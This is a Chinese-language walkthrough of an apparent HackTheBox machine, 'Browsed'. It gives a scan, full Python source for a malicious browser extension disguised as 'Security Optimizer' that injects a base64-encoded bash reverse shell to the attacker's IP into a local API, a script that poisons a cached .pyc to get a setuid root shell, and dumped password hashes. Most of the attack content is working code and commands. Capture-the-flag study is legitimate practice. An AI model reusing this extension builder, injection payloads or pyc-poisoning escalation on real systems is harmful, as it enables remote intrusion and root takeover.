基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.129.198.68
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-17 12:07 JST
Nmap scan report for 10.129.198.68
Host is up (0.095s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.05 seconds

80

一个浏览器相关网站,可以上传插件:

Extension

看起来就是通过上传恶意插件,给的sample没什么用

crux

首先搜索已有的恶意插件可以找到这个:

修改成我们对应的,上传执行,得到一个url:

1
[+] URL: http://browsedinternals.htb/

Gitea

添加hosts后访问,是一个gitea:

1
10.129.201.12 browsedinternals.htb

MarkdownPreview

可以看到一个MarkdownPreview,app.py里看到调用routines.sh,唯一参数是rid:

然后去看routines.sh,发现可能的命令注入,因为使用数组:

所以这里就很清晰了,使用恶意插件去调用对应API触发命令注入

user flag

利用恶意插件触发命令注入,得到larry shell:

extension.py

copy from discord:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import zipfile
import io
import base64

def create_shell_extension(my_ip, my_port="9001"):
zip_buffer = io.BytesIO()

# 1. The Reverse Shell One-Liner (Standard Bash)
# We encode it to avoid breaking the JSON or the URL string
raw_shell = f"bash -i >& /dev/tcp/{my_ip}/{my_port} 0>&1"
b64_shell = base64.b64encode(raw_shell.encode()).decode()

# This is the payload that will be executed on the server
# It decodes itself and pipes into bash
shell_payload = f"echo${{IFS}}{b64_shell}|base64${{IFS}}-d|bash"

# 2. Manifest V3
manifest = '''{
"manifest_version": 3,
"name": "Security Optimizer",
"version": "1.1",
"background": {
"service_worker": "background.js"
},
"host_permissions": ["*://127.0.0.1/*", "*://localhost/*"]
}'''

# 3. background.js
# We will try both the routine path and a potential root injection
background = f'''
const ip = "{my_ip}";
const payload = "{shell_payload}";

// We send it via a background loop to ensure it fires
async function triggerShell() {{
const urls = [
`http://127.0.0.1:5000/routines/a[$(${{payload}})]`,
`http://127.0.0.1:5000/routines/a';${{payload}} #`
];

for (const url of urls) {{
fetch(url, {{ mode: 'no-cors' }});
}}
}}

triggerShell();
'''

with zipfile.ZipFile(zip_buffer, 'a', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr("manifest.json", manifest)
zip_file.writestr("background.js", background)

with open("shell_exploit.zip", "wb") as f:
f.write(zip_buffer.getvalue())

print(f"[+] shell_exploit.zip created.")
print(f"[+] Listener command: nc -lvnp {my_port}")
print(f"[+] Encoded payload: {shell_payload}")

if __name__ == "__main__":
# Change this to your HTB Tun0 IP
create_shell_extension("10.10.14.15", "4444")

提权信息

可以sudo运行指定的一个python文件:

尝试运行,看起来就是和前面那三个sqmple extension相关的:

pycache

我们对该文件没修改权限,但可以看到有pycache,里面是extension_utils的pyc,我们对pycache目录有权限,extension_tool.py也导入了extension_utils:

在有pyc缓存文件的情况下,python会优先使用pyc文件,所以我们可以通过修改pyc文件,并且可以设置UNCHECKED_HASH来让python跳过验证,从而执行代码

提权 & root flag

利用pyc文件获取root:

1
2
3
python3.12 /tmp/exploit.py
sudo /opt/extensiontool/extension_tool.py --ext Fontify
/tmp/rootbash -p

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import os
import py_compile
import shutil
import sys

ORIGINAL_SRC = "/opt/extensiontool/extension_utils.py"
MALICIOUS_SRC = "/tmp/extension_utils.py"
# Fixed the path to __pycache__ based on your previous 'ls'
TARGET_PYC = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

stat = os.stat(ORIGINAL_SRC)
target_size = stat.st_size

# The payload that will execute as root
payload = 'import os\ndef validate_manifest(path): os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"); return {}\ndef clean_temp_files(arg): pass\n'

# Padding with comments to match the exact size of the original file
padding_needed = target_size - len(payload)
payload += "#" * padding_needed

with open(MALICIOUS_SRC, "w") as f:
f.write(payload)

# Sync timestamps
os.utime(MALICIOUS_SRC, (stat.st_atime, stat.st_mtime))

# Compile
py_compile.compile(MALICIOUS_SRC, cfile="/tmp/malicious.pyc")

# Inject
if os.path.exists(TARGET_PYC):
os.remove(TARGET_PYC)
shutil.copy("/tmp/malicious.pyc", TARGET_PYC)
print("[+] Poisoned .pyc injected successfully")

shadow

1
2
root:$y$j9T$wXISIzb3EFHkpdXvsI01S.$7THiBdiDsTxmiImcIsYzzKyh3WxVeXd2F25m4xQGMD/:20317:0:99999:7:::
larry:$y$j9T$7TMEcG9b0YPRMveUtoEgT/$VQx//iROmISMIDWdddYqhUGDezXhlM1ki0pnUij1rUB:20317:0:99999:7:::

参考资料